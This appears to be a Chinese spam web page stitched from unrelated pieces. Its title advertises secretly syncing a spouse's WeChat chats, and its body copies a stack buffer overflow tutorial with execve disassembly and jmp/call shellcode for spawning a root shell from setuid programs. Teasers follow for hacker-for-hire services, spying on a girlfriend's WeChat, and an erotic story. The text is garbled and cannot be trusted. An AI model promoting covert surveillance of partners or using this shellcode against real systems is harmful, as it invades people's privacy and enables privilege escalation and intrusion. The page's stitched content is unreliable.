同步接受老公微信聊天 知道对方微信账号能查到

访客3年前关于黑客接单600

自己写溢出的基础,溢出原理 一:基础知识 计算机内存运行分配的区域分为3个 程序段区域:不允许写的 数据段区域:静态全局变量是位于数据段并且在程序开始运行的时候被加载 堆栈区域:放置程序的动态的用于计算的局部和临时变量则分配在堆栈里面和在过程调用中压入的返回地 址数据。堆栈是一个先入后出的队列。一般计算机系统堆栈的方向与内存的方向相反。压栈的xx作push=ESP-4,出栈的xx作是pop=ESP+4.在一次函数调用中,堆栈中将被依次压入:参数,返回地址,EBP。如果函数有局部变量,接下来,就在堆栈中开辟相应的空间以构造变量。函数执行结束,这些局部变量的内容将被丢失。但是不被清除。在函数返回的时候,弹出EBP,恢复堆栈到函数调用的地址,弹出返回地址到EIP以继续执行程序。 在C语言程序中,参数的压栈顺序是反向的。比如func(a,b,c)。在参数入栈的时候,是:先压c,再压b,最后a.在取参数的时候, 指令执行的图例: 指令区域 执行程序区 0123 0 4 8调用100处的函数,参数1(3位),2(10位) C 100123 100执行处理 104 108 10C 110返回调用堆栈区域 0123 如果EBP分配的空间不够xx作就是产生溢出的地方 200保存以前的EBP4位(数据段的指针,用于可以使用局部动态 变量)现在的EBP等于当前的ESP-动态数据的大小值, ESP=200 2040C000000 此处是程序的返回地址 208参数1,填充1位 20C参数2填充2位 210 讲解例子WIN下的程序DEMO,演示参数导致的返回地址的变化 讲清主要4位的填充问题 另外溢出还会导致数据段的改变3:如何利用堆栈溢出 原理可以概括为:由于字符串处理函数(gets,strcpy等等)没有对数组越界加以监视和限制,我们利用字符数组写越界,覆盖堆栈中的老元素的值,就可以修改返回地址。在DEMO的例子中,这导致CPU去访问一个不存在的指令,结果出错。事实上,我们已经完全的控制了这个程序下一步的动作。如果我们用一个实际存在指令地址来覆盖这个返回地址,CPU就会转而执行我们的指令。那么有什么用呢,就算使得我们的程序可以跳转执行一些代码,如何用他来突破系统限制来获得权限呢?二:系统权限知识 UNIX系统在运行的时候的权限检查主要是根据UID,GID,SID三个标来检查的,主要根据SID来检查权限 SU系统调用就是SID变成SU的对象 S粘贴位使得运行程序的人具有该程序拥有者一样的权限 中断ROOT的S粘贴位的程序就可以获得超级用户的权限,SID位置没被调用返回修改回来。 VI的S粘贴位可以中断的例子在UINX系统中,我们的指令可以执行一个shell,这个shell将获得和被我们堆栈溢出的程序相同的权限。如果这个程序是setuid的,那么我们就可以获得rootshell。三:溢出突破权限的实现 首先要编写SHELLCODE的2进制代码作为溢出的参数进行传入: shellcode的C程序注意:execve函数将执行一个程序。他需要程序的名字地址作为之一个参数。一个内容为该程序的argv[i](argv[n-1]=0)的指针数组作为第二个参数,以及(char*)0作为第三个参数。 我们来看以看execve的汇编代码: 0x804ce7c<__execve>:push%ebp‘保存以前的数据段地址 0x804ce7d<__execve+1>:mov%esp,%ebp‘使得当前数据段指向堆栈 0x804ce7f<__execve+3>:push%edi 0x804ce80<__execve+4>:push%ebx‘保存 0x804ce81<__execve+5>:mov0x8(%ebp),%edi‘ebp+8是之一个参数"/bin/sh\0" 0x804ce84<__execve+8>:mov$0x0,%eax‘清0 0x804ce89<__execve+13>:test%eax,%eax 0x804ce8b<__execve+15>:je0x804ce92<__execve+22> 0x804ce8d<__execve+17>:call0x0 0x804ce92<__execve+22>:mov0xc(%ebp),%ecx‘设置NAME[0]参数,4字节对齐 0x804ce95<__execve+25>:mov0x10(%ebp),%edx,设置NAME[1]参数,4字节对齐 0x804ce98<__execve+28>:push%ebx 0x804ce99<__execve+29>:mov%edi,%ebx 0x804ce9b<__execve+31>:mov$0xb,%eax‘设置XB号调用 0x804cea0<__execve+36>:int$0x80‘调用执行 0x804cea2<__execve+38>:pop%ebx 0x804cea3<__execve+39>:mov%eax,%ebx 0x804cea5<__execve+41>:cmp$0xfffff000,%ebx 0x804ceab<__execve+47>:jbe0x804cebb<__execve+63> 0x804cead<__execve+49>:call0x8048324<__errno_location> 0x804ceb2<__execve+54>:neg%ebx 0x804ceb4<__execve+56>:mov%ebx,(%eax) 0x804ceb6<__execve+58>:mov$0xffffffff,%ebx 0x804cebb<__execve+63>:mov%ebx,%eax 0x804cebd<__execve+65>:lea0xfffffff8(%ebp),%esp 0x804cec0<__execve+68>:pop%ebx 0x804cec1<__execve+69>:pop%edi 0x804cec2<__execve+70>:leave 0x804cec3<__execve+71>:ret精练的调用 *** 是 0x804ce92<__execve+22>:mov0xc(%ebp),%ecx‘设置NAME[0]参数,4字节对齐 0x804ce95<__execve+25>:mov0x10(%ebp),%edx,设置NAME[1]参数,4字节对齐 0x804ce9b<__execve+31>:mov$0xb,%eax‘设置XB号调用 0x804cea0<__execve+36>:int$0x80‘调用执行另外要执行一个exit()系统调用,结束shellcode的执行。 0x804ce60<_exit>:mov%ebx,%edx 0x804ce62<_exit+2>:mov0x4(%esp,1),%ebx设置参数0 0x804ce66<_exit+6>:mov$0x1,%eax‘1号调用 0x804ce6b<_exit+11>:int$0x80 0x804ce6d<_exit+13>:mov%edx,%ebx 0x804ce6f<_exit+15>:cmp$0xfffff001,%eax 0x804ce74<_exit+20>:jae0x804d260<__syscall_error>那么总结一下,合成的汇编代码为: mov0xc(%ebp),%ecx mov0x10(%ebp),%edx mov$0xb,%eax int$0x80 mov0x4(%esp,1),%ebx mov$0x1,%eax int$0x80但问题在于我们必须把这个程序作为字符串的参数传给溢出的程序进行调用,如何来分配和定位字符串“/bin/sh”,还得有一个name数组。我们可以构造它们出来,可是,在shellcode中如何知道它们的地址呢?每一次程序都是动态加载,字符串和name数组的地址都不是固定的。 利用call压入下一条语句的返回地址,把数据作为下一条指令我们就可以达到目的。 JmpCALL Popl%esi‘利用CALL弹出压入的下一条语句的地址,其实就是我们构造的字符串的地址 movb$0x0,0x7(%esi)‘输入0的字符串为结尾 mov%esi,0X8(%esi)‘构造NAME数组,放如字串的地址作为NAME[0] mov$0x0,0xc(%esi)‘构造NAME[1]为NULL,NAME[0]为4位地址,所以偏移为0xc mov%esi,%ebx‘设置数据段开始的地址 leal0x8(%esi),%ecx‘设置参数1 leal0xc(%esi),%edx‘设置参数2 mov$0xb,%eax‘设置调用号 int$0x80‘调用 mov$0x0,%ebx mov$0x1,%eax int$0x80 Callpopl .string\"/bin/sh\"然后通过C编译器编写MYSHELLA *** .C 运行出错,原因代码段不允许进行修改,但是对于我们溢出是可以的,原因在于溢出是在数据段运行的,通过GDB查看16进制码,倒出ASCII字符写出TEST.C程序来验证MYSHELLA *** 可以运行 ret=(int*)&ret+2;//ret等于main()执行完后的返回系统的地址 //(+2是因为:有pushlebp,否则加1就可以了。)但是在堆栈溢出中

相关文章

微信小故事:渣男要求E奶女朋友给弟弟打奶泡

网友给专门爆料渣男的民众号的投稿,感受像编的,当小黄文看吧。 文末有女主角E奶爆照,确实挺大的,不外别光看图,剧情也很精彩~ 假期的弟弟,来渣男哥哥家住,哥俩情绪好,好过渣男和他的女友。 由于渣...

苏州西交利物浦大学招生情况怎么样(苏州西交

苏州西交利物浦大学招生情况怎么样(苏州西交

扬子晚报网6月19日讯(记者 杨甜子)西交利物浦大学2019年最新招生政策如下: 西交利物浦大学(招生代码:1921) 西交利物浦大学是经中国教育部正式批准,由西安交通大学和英国利物浦大学于2...

注册”随手付”,一分钱发顺丰(两次)

扫描二维码之后需要绑定手机及银行卡。 注册乐成后第二天会获得1分钱发快递的权益,(≤23米)。 顺丰是快递界的顶级产物,推出了手机客户端,不用掏零钱就能支付,加倍方便了。 实在这是顺丰搞的一个理...

实木家具买什么木材好(最常见木材品种)

实木家具买什么木材好(最常见木材品种)

近年来,自然环保的实木家具在市场上一直受到热捧。而常见的实木家具主要包括:松木、橡胶木、桦木、榉木、榆木、水曲柳、橡木、黑胡桃等。今天,小编就和大家分享购买实木家具的相关知识以及了解实木家具木材的优缺...

24小时接单的黑客公司(能免费接单的黑客qq群)

请先给出明确答复:黑客接单都是违法的,基本搜不到。解释原因:1.国家明确指定,进行黑客行为是违法的2.腾讯也对黑客进行打压,具体事情请查看国家。 10441057您可以来本群,会给您提供,互相学习的平...

我怀疑我女朋友外边有人怎么查他的微信

    USB调试是安卓系统提供的一个用于开发工作的功能,使用...